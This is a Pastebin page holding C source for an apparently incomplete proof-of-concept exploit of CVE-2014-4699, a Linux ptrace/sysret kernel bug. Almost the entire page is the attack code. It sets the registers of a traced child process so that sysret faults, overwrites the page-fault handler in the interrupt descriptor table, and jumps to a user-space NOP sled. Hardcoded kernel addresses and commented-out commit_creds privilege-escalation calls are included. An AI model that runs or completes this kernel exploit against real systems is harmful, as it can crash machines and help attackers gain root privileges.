unknowns-mm

CVE-2014-4699.c

Sep 30th, 2016
43
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.70 KB | None | 0 0
  1. /**
  2.  * CVE-2014-4699 ptrace/sysret PoC
  3.  * by Vitaly Nikolenko
  4.  * vnik@hashcrack.org
  5.  *
  6.  * > gcc -O2 poc_v0.c
  7.  *
  8.  * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
  9.  * following will trigger the #GP in sysret and overwrite the #PF handler so we
  10.  * can land to our NOP sled mapped at 0x80000000.
  11.  * However, once landed, the IDT will be trashed. We can either attempt to
  12.  * restore it (then escalate privileges and execute our shellcode) or find
  13.  * something else to overwrite that would transfer exec flow to our controlled
  14.  * user-space address. Since 3.10.something, IDT is read-only anyway. If you
  15.  * have any ideas, let me know.
  16.  */
  17.  
  18. #include <stdio.h>
  19. #include <stdint.h>
  20. #include <assert.h>
  21. #include <sys/ptrace.h>
  22. #include <sys/types.h>
  23. #include <sys/wait.h>
  24. #include <sys/syscall.h>
  25. #include <sys/user.h>
  26. #include <unistd.h>
  27. #include <sys/mman.h>
  28. #include <errno.h>
  29.  
  30. #define SIZE  0x10000000
  31.  
  32. typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
  33. typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
  34.  
  35. unsigned long __user_cs;
  36. unsigned long __user_ss;
  37. unsigned long __user_rflags;
  38.  
  39. void __attribute__((regparm(3))) payload() {
  40.     uint32_t *fixptr = (void*)0xffffffff81dd70e8;
  41.     // restore the #PF handler
  42.     *fixptr = -1;
  43.     //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
  44.     //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
  45.     //commit_creds(prepare_kernel_cred((uint64_t)NULL));
  46.  
  47.     //__asm__ volatile ("swapgs\n\t"
  48.     //        "...");
  49. }
  50.  
  51. int main() {
  52.     struct user_regs_struct regs;
  53.     uint8_t *trampoline, *tmp;
  54.     int status;
  55.  
  56.     struct {
  57.         uint16_t limit;
  58.         uint64_t addr;
  59.     } __attribute__((packed)) idt;
  60.  
  61.         // MAP_POPULATE so we don't trigger extra #PF
  62.     trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
  63.     assert(trampoline == 0x80000000);
  64.     memset(trampoline, 0x90, SIZE);
  65.         tmp = trampoline;
  66.         tmp += SIZE-1024;
  67.         memcpy(tmp, &payload, 1024);
  68.     memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
  69.  
  70.     pid_t chld;
  71.  
  72.         if ((chld = fork()) < 0) {
  73.         perror("fork");
  74.         exit(1);
  75.     }
  76.      
  77.     if (chld == 0) {
  78.         if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
  79.             perror("PTRACE_TRACEME");
  80.             exit(1);
  81.         }
  82.         raise(SIGSTOP);
  83.         fork();
  84.         return 0;
  85.     }
  86.  
  87.     asm volatile("sidt %0" : "=m" (idt));
  88.     printf("IDT addr = 0x%lx\n", idt.addr);
  89.  
  90.     waitpid(chld, &status, 0);
  91.  
  92.     ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
  93.  
  94.     ptrace(PTRACE_CONT, chld, 0, 0);
  95.  
  96.     waitpid(chld, &status, 0);
  97.  
  98.         ptrace(PTRACE_GETREGS, chld, NULL, &regs);
  99.     regs.rdi = 0x0000000000000000;
  100.     regs.rip = 0x8fffffffffffffff;
  101.     regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
  102.  
  103.     // attempt to restore the IDT
  104.     regs.rdi = 0x0000000000000000;
  105.     regs.rsi = 0x81658e000010cbd0;
  106.     regs.rdx = 0x00000000ffffffff;
  107.     regs.rcx = 0x81658e000010cba0;
  108.     regs.rax = 0x00000000ffffffff;
  109.     regs.r8  = 0x81658e010010cb00;
  110.     regs.r9  = 0x00000000ffffffff;
  111.     regs.r10 = 0x81668e0000106b10;
  112.     regs.r11 = 0x00000000ffffffff;
  113.     regs.rbx = 0x81668e0000106ac0;
  114.     regs.rbp = 0x00000000ffffffff;
  115.     regs.r12 = 0x81668e0000106ac0;
  116.     regs.r13 = 0x00000000ffffffff;
  117.     regs.r14 = 0x81668e0200106a90;
  118.     regs.r15 = 0x00000000ffffffff;
  119.  
  120.         ptrace(PTRACE_SETREGS, chld, NULL, &regs);
  121.  
  122.     ptrace(PTRACE_CONT, chld, 0, 0);
  123.  
  124.     ptrace(PTRACE_DETACH, chld, 0, 0);
  125. }
Add Comment
Please, Sign In to add comment